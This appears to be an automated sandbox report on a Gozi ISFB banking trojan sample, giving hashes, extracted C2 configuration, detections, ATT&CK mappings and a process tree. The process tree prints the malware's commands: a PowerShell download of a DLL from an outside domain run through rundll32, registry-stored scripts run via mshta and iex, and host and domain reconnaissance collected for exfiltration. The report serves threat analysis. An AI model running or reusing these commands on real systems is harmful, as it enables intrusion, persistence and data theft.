gozi_ifsb | d4e5ea6e804aee0817c61b11e1ed009f649ff37d30bafa7056bf82d45e83f44d

Analysis

max time kernel
151s
max time network
144s
platform
windows10_x64
resource
win10-en-20211208
submitted
06/01/2022, 10:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
9095.exe
Size 152KB
Sample220106-mzj71abeem
SHA256 d4e5ea6e804aee0817c61b11e1ed009f649ff37d30bafa7056bf82d45e83f44d
MD5 57054d13b876e70a99b6b9510568ed3e
SHA1 1fe09821917e0d6d07b233e7264bdc235dc2f52b
SHA512 f73c8d9063dac80871c99343f9b8586f77ca64ea9aa0ca5f14078f7e56d9c24f52577d6ae6f04dfecc1ad580395bfb2e789eb8ee4ca8059b3022048a77137257
MD5 SHA1 SHA512

Score

10^/10

gozi_ifsb 9095 banker persistence suricata trojan

Malware Config

Extracted

Family

gozi_ifsb

Botnet

9095

http://google.mail.com
http://392184281.com
http://592182812.com
https://392184281.com
https://592182812.com

Attributes

base_path
/glik/
build
250218
dga_season
10
exe_type
loader
extension
.lwe
server_id
12

rsa_pubkey.plain

serpent.plain

Extracted

Family

gozi_ifsb

Botnet

9095

http://google.login.com
https://194.67.90.217
https://134.0.118.44
https://134.0.119.89
http://194.67.90.217
http://134.0.118.44
http://134.0.119.89
iudsahbnmddsa.com
siadujhdnmasg.com
idsaujhdndkwq.com

Attributes

base_path
/images/
build
250218
dga_season
10
dns_servers
107.174.86.134

107.175.127.22
exe_type
worker
extension
.avi
server_id
12

rsa_pubkey.plain

serpent.plain

rsa_pubkey.plain

Signatures

Gozi, Gozi IFSB
Gozi ISFB is a well-known and widely distributed banking trojan.
banker trojan gozi_ifsb
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M1 (_2B)
suricata
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata: ET MALWARE Ursnif Variant CnC Beacon - URI Struct M2 (_2F)
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
9	4144	powershell.exe
33	764	rundll32.exe
34	764	rundll32.exe
35	764	rundll32.exe
36	764	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 1 IoCs

pid	Process
764	rundll32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce	9095.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	9095.exe

Suspicious use of SetThreadContext 6 IoCs

description	pid	Process	procid_target
PID 3732 set thread context of 1640	3732	powershell.exe	37
PID 1640 set thread context of 3496	1640	Explorer.EXE	47
PID 1640 set thread context of 5020	1640	Explorer.EXE	86
PID 5020 set thread context of 412	5020	cmd.exe	87
PID 1640 set thread context of 4532	1640	Explorer.EXE	94
PID 1640 set thread context of 2076	1640	Explorer.EXE	98

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Discovers systems in the same network 1 TTPs 3 IoCs

discovery

Remote System Discovery

T1018

pid	Process
4720	net.exe
2756	net.exe
4928	net.exe

Enumerates processes with tasklist 1 TTPs 1 IoCs

Process Discovery

T1057

pid	Process
1672	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
1588	systeminfo.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
412	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
412	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4144	powershell.exe
4144	powershell.exe
4144	powershell.exe
764	rundll32.exe
764	rundll32.exe
3732	powershell.exe
3732	powershell.exe
3732	powershell.exe
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE
1640	Explorer.EXE

Suspicious behavior: MapViewOfSection 6 IoCs

pid	Process
3732	powershell.exe
1640	Explorer.EXE
1640	Explorer.EXE
5020	cmd.exe
1640	Explorer.EXE
1640	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	3732	powershell.exe
Token: SeShutdownPrivilege	1640	Explorer.EXE
Token: SeCreatePagefilePrivilege	1640	Explorer.EXE
Token: SeShutdownPrivilege	1640	Explorer.EXE
Token: SeCreatePagefilePrivilege	1640	Explorer.EXE
Token: SeShutdownPrivilege	1640	Explorer.EXE
Token: SeCreatePagefilePrivilege	1640	Explorer.EXE
Token: SeShutdownPrivilege	1640	Explorer.EXE
Token: SeCreatePagefilePrivilege	1640	Explorer.EXE
Token: SeShutdownPrivilege	1640	Explorer.EXE
Token: SeCreatePagefilePrivilege	1640	Explorer.EXE
Token: SeDebugPrivilege	1672	tasklist.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1640	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3336 wrote to memory of 3524	3336	9095.exe	68
PID 3336 wrote to memory of 3524	3336	9095.exe	68
PID 3524 wrote to memory of 4144	3524	cmd.exe	70
PID 3524 wrote to memory of 4144	3524	cmd.exe	70
PID 3524 wrote to memory of 4176	3524	cmd.exe	71
PID 3524 wrote to memory of 4176	3524	cmd.exe	71
PID 4176 wrote to memory of 764	4176	rundll32.exe	72
PID 4176 wrote to memory of 764	4176	rundll32.exe	72
PID 4176 wrote to memory of 764	4176	rundll32.exe	72
PID 2484 wrote to memory of 3732	2484	mshta.exe	79
PID 2484 wrote to memory of 3732	2484	mshta.exe	79
PID 3732 wrote to memory of 2312	3732	powershell.exe	81
PID 3732 wrote to memory of 2312	3732	powershell.exe	81
PID 2312 wrote to memory of 3080	2312	csc.exe	82
PID 2312 wrote to memory of 3080	2312	csc.exe	82
PID 3732 wrote to memory of 4852	3732	powershell.exe	83
PID 3732 wrote to memory of 4852	3732	powershell.exe	83
PID 4852 wrote to memory of 4600	4852	csc.exe	84
PID 4852 wrote to memory of 4600	4852	csc.exe	84
PID 3732 wrote to memory of 1640	3732	powershell.exe	37
PID 3732 wrote to memory of 1640	3732	powershell.exe	37
PID 3732 wrote to memory of 1640	3732	powershell.exe	37
PID 3732 wrote to memory of 1640	3732	powershell.exe	37
PID 1640 wrote to memory of 3496	1640	Explorer.EXE	47
PID 1640 wrote to memory of 3496	1640	Explorer.EXE	47
PID 1640 wrote to memory of 3496	1640	Explorer.EXE	47
PID 1640 wrote to memory of 3496	1640	Explorer.EXE	47
PID 1640 wrote to memory of 5020	1640	Explorer.EXE	86
PID 1640 wrote to memory of 5020	1640	Explorer.EXE	86
PID 1640 wrote to memory of 5020	1640	Explorer.EXE	86
PID 1640 wrote to memory of 5020	1640	Explorer.EXE	86
PID 1640 wrote to memory of 5020	1640	Explorer.EXE	86
PID 5020 wrote to memory of 412	5020	cmd.exe	87
PID 5020 wrote to memory of 412	5020	cmd.exe	87
PID 5020 wrote to memory of 412	5020	cmd.exe	87
PID 5020 wrote to memory of 412	5020	cmd.exe	87
PID 5020 wrote to memory of 412	5020	cmd.exe	87
PID 1640 wrote to memory of 4660	1640	Explorer.EXE	88
PID 1640 wrote to memory of 4660	1640	Explorer.EXE	88
PID 4660 wrote to memory of 852	4660	cmd.exe	90
PID 4660 wrote to memory of 852	4660	cmd.exe	90
PID 1640 wrote to memory of 640	1640	Explorer.EXE	91
PID 1640 wrote to memory of 640	1640	Explorer.EXE	91
PID 1640 wrote to memory of 2776	1640	Explorer.EXE	93
PID 1640 wrote to memory of 2776	1640	Explorer.EXE	93
PID 1640 wrote to memory of 4532	1640	Explorer.EXE	94
PID 1640 wrote to memory of 4532	1640	Explorer.EXE	94
PID 1640 wrote to memory of 4532	1640	Explorer.EXE	94
PID 2776 wrote to memory of 1588	2776	cmd.exe	96
PID 2776 wrote to memory of 1588	2776	cmd.exe	96
PID 1640 wrote to memory of 4532	1640	Explorer.EXE	94
PID 1640 wrote to memory of 4532	1640	Explorer.EXE	94
PID 1640 wrote to memory of 2076	1640	Explorer.EXE	98
PID 1640 wrote to memory of 2076	1640	Explorer.EXE	98
PID 1640 wrote to memory of 2076	1640	Explorer.EXE	98
PID 1640 wrote to memory of 2076	1640	Explorer.EXE	98
PID 1640 wrote to memory of 2076	1640	Explorer.EXE	98
PID 1640 wrote to memory of 2076	1640	Explorer.EXE	98
PID 1640 wrote to memory of 4400	1640	Explorer.EXE	100
PID 1640 wrote to memory of 4400	1640	Explorer.EXE	100
PID 1640 wrote to memory of 3780	1640	Explorer.EXE	102
PID 1640 wrote to memory of 3780	1640	Explorer.EXE	102
PID 3780 wrote to memory of 4928	3780	cmd.exe	104
PID 3780 wrote to memory of 4928	3780	cmd.exe	104

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Users\Admin\AppData\Local\Temp\9095.exe
  "C:\Users\Admin\AppData\Local\Temp\9095.exe"
  2⤵
  - Adds Run key to start application
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\SYSTEM32\cmd.exe
    cmd /c test5.bat
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3524
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Invoke-WebRequest https://teamworks455.com/_country/9095.dll -OutFile 9095.dll
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4144
  - - C:\Windows\system32\rundll32.exe
      rundll32.exe 9095.dll DllRegisterServer
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4176
    - - C:\Windows\SysWOW64\rundll32.exe
        
        rundll32.exe 9095.dll DllRegisterServer
        5⤵
        Blocklisted process makes network request
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:764
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" "about:<hta:application><script>Ianm='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ianm).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\AFB12D6D-42B3-B959-C453-96FD38372A81\\\ReturnBook'));if(!window.flag)close()</script>"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iex ([System.Text.Encoding]::ASCII.GetString(( gp "HKCU:Software\AppDataLow\Software\Microsoft\AFB12D6D-42B3-B959-C453-96FD38372A81").PageTest))
    3⤵
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3732
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\fjilir0s\fjilir0s.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2312
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES837F.tmp" "c:\Users\Admin\AppData\Local\Temp\fjilir0s\CSC2827C88EF2734BB4933EA725F53DB94A.TMP"
        5⤵
        
        PID:3080
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\agybjb3s\agybjb3s.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4852
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8489.tmp" "c:\Users\Admin\AppData\Local\Temp\agybjb3s\CSC17DC953941E44818B870EDAE71C41A57.TMP"
        5⤵
        
        PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C ping localhost -n 5 && del "C:\Users\Admin\AppData\Roaming\9095.dll"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:5020
- - C:\Windows\system32\PING.EXE
    ping localhost -n 5
    3⤵
    - Runs ping.exe
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:412
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup myip.opendns.com resolver1.opendns.com > C:\Users\Admin\AppData\Local\Temp\9C60.bi1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4660
- - C:\Windows\system32\nslookup.exe
    nslookup myip.opendns.com resolver1.opendns.com
    3⤵
    PID:852
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\9C60.bi1"
  2⤵
  PID:640
- C:\Windows\system32\cmd.exe
  cmd /C "systeminfo.exe > C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2776
- - C:\Windows\system32\systeminfo.exe
    systeminfo.exe
    3⤵
    - Gathers system information
    PID:1588
- C:\Program Files\Windows Mail\WinMail.exe
  "C:\Program Files\Windows Mail\WinMail" OCInstallUserConfigOE
  2⤵
  PID:4532
- C:\Windows\syswow64\cmd.exe
  "C:\Windows\syswow64\cmd.exe" /C pause dll mail, ,
  2⤵
  PID:2076
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:4400
- C:\Windows\system32\cmd.exe
  cmd /C "net view >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\system32\net.exe
    net view
    3⤵
    - Discovers systems in the same network
    PID:4928
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:1612
- C:\Windows\system32\cmd.exe
  cmd /C "nslookup 127.0.0.1 >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:1384
- - C:\Windows\system32\nslookup.exe
    nslookup 127.0.0.1
    3⤵
    PID:2552
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:3472
- C:\Windows\system32\cmd.exe
  cmd /C "tasklist.exe /SVC >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:1652
- - C:\Windows\system32\tasklist.exe
    tasklist.exe /SVC
    3⤵
    - Enumerates processes with tasklist
    - Suspicious use of AdjustPrivilegeToken
    PID:1672
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:4952
- C:\Windows\system32\cmd.exe
  cmd /C "driverquery.exe >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:3384
- - C:\Windows\system32\driverquery.exe
    driverquery.exe
    3⤵
    PID:3464
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:364
- C:\Windows\system32\cmd.exe
  cmd /C "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:4204
- - C:\Windows\system32\reg.exe
    reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s
    3⤵
    PID:3116
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:4112
- C:\Windows\system32\cmd.exe
  cmd /C "net config workstation >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:4208
- - C:\Windows\system32\net.exe
    net config workstation
    3⤵
    PID:4404
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 config workstation
      4⤵
      PID:4240
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:3684
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:820
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts
    3⤵
    PID:3584
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:3140
- C:\Windows\system32\cmd.exe
  cmd /C "nltest /domain_trusts /all_trusts >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:1232
- - C:\Windows\system32\nltest.exe
    nltest /domain_trusts /all_trusts
    3⤵
    PID:1712
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:1520
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all /domain >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:1508
- - C:\Windows\system32\net.exe
    net view /all /domain
    3⤵
    - Discovers systems in the same network
    PID:4720
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:2184
- C:\Windows\system32\cmd.exe
  cmd /C "net view /all >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:3868
- - C:\Windows\system32\net.exe
    net view /all
    3⤵
    - Discovers systems in the same network
    PID:2756
- C:\Windows\system32\cmd.exe
  cmd /C "echo -------- >> C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:2480
- C:\Windows\system32\cmd.exe
  cmd /U /C "type C:\Users\Admin\AppData\Local\Temp\2013.bin1 > C:\Users\Admin\AppData\Local\Temp\2013.bin & del C:\Users\Admin\AppData\Local\Temp\2013.bin1"
  2⤵
  PID:4808
- C:\Windows\system32\makecab.exe
  makecab.exe /F "C:\Users\Admin\AppData\Local\Temp\8E1C.bin"
  2⤵
  PID:4688

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3496

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Process Discovery

T1057

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/412-202-0x0000018FAECA0000-0x0000018FAECA2000-memory.dmp

Download

memory/412-213-0x0000018FAEE00000-0x0000018FAEEA0000-memory.dmp

Download

memory/412-212-0x0000018FAEC40000-0x0000018FAEC41000-memory.dmp

Download

memory/412-203-0x0000018FAECA0000-0x0000018FAECA2000-memory.dmp

Download

memory/764-145-0x0000000004690000-0x0000000004691000-memory.dmp

Download

memory/764-146-0x0000000010000000-0x00000000101C4000-memory.dmp

Download

memory/1640-189-0x00000000010B0000-0x00000000010B2000-memory.dmp

Download

memory/1640-190-0x00000000010B0000-0x00000000010B2000-memory.dmp

Download

memory/1640-192-0x00000000010B0000-0x00000000010B2000-memory.dmp

Download

memory/1640-207-0x0000000001100000-0x00000000011A0000-memory.dmp

Download

memory/1640-206-0x00000000010A0000-0x00000000010A1000-memory.dmp

Download

memory/2076-231-0x00000000029F0000-0x00000000029F1000-memory.dmp

Download

memory/2076-229-0x0000000000966CD0-0x0000000000966CD4-memory.dmp

Download

memory/2076-230-0x00000000029F0000-0x00000000029F1000-memory.dmp

Download

memory/2076-234-0x0000000000710000-0x0000000000711000-memory.dmp

Download

memory/2076-235-0x0000000002EE0000-0x0000000002F75000-memory.dmp

Download

memory/2484-147-0x0000023A4DF08000-0x0000023A4DF10000-memory.dmp

Download

memory/3496-208-0x00000173B5C40000-0x00000173B5C41000-memory.dmp

Download

memory/3496-209-0x00000173B7710000-0x00000173B77B0000-memory.dmp

Download

memory/3496-196-0x00000173B5C50000-0x00000173B5C52000-memory.dmp

Download

memory/3496-197-0x00000173B5C50000-0x00000173B5C52000-memory.dmp

Download

memory/3732-160-0x000001E6DCE20000-0x000001E6DCE22000-memory.dmp

Download

memory/3732-157-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-162-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-151-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-150-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-152-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-161-0x000001E6DCE23000-0x000001E6DCE25000-memory.dmp

Download

memory/3732-153-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-154-0x000001E6F5470000-0x000001E6F5492000-memory.dmp

Download

memory/3732-155-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-179-0x000001E6F54D0000-0x000001E6F54D8000-memory.dmp

Download

memory/3732-204-0x000001E6DCE26000-0x000001E6DCE28000-memory.dmp

Download

memory/3732-205-0x000001E6F5530000-0x000001E6F556B000-memory.dmp

Download

memory/3732-187-0x000001E6F54F0000-0x000001E6F54F8000-memory.dmp

Download

memory/3732-158-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-159-0x000001E6F5FC0000-0x000001E6F6036000-memory.dmp

Download

memory/3732-191-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/3732-188-0x000001E6DB3A0000-0x000001E6DB3A2000-memory.dmp

Download

memory/4144-135-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-125-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-119-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-118-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-120-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-121-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-122-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-123-0x000001C4A5EE0000-0x000001C4A5F02000-memory.dmp

Download

memory/4144-124-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-126-0x000001C4BF180000-0x000001C4BF1F6000-memory.dmp

Download

memory/4144-127-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-131-0x000001C4BE5E0000-0x000001C4BE5E2000-memory.dmp

Download

memory/4144-132-0x000001C4BE5E3000-0x000001C4BE5E5000-memory.dmp

Download

memory/4144-136-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-138-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4144-139-0x000001C4BE5E6000-0x000001C4BE5E8000-memory.dmp

Download

memory/4144-140-0x000001C4A4550000-0x000001C4A4552000-memory.dmp

Download

memory/4532-233-0x00000294FAAB0000-0x00000294FAB50000-memory.dmp

Download

memory/4532-222-0x00000294F9120000-0x00000294F9122000-memory.dmp

Download

memory/4532-232-0x00000294F90F0000-0x00000294F90F1000-memory.dmp

Download

memory/4532-223-0x00000294F9120000-0x00000294F9122000-memory.dmp

Download

memory/5020-211-0x0000029EB3310000-0x0000029EB33B0000-memory.dmp

Download

memory/5020-199-0x0000029EB33C0000-0x0000029EB33C2000-memory.dmp

Download

memory/5020-210-0x0000029EB32D0000-0x0000029EB32D1000-memory.dmp

Download

memory/5020-200-0x0000029EB33C0000-0x0000029EB33C2000-memory.dmp

Download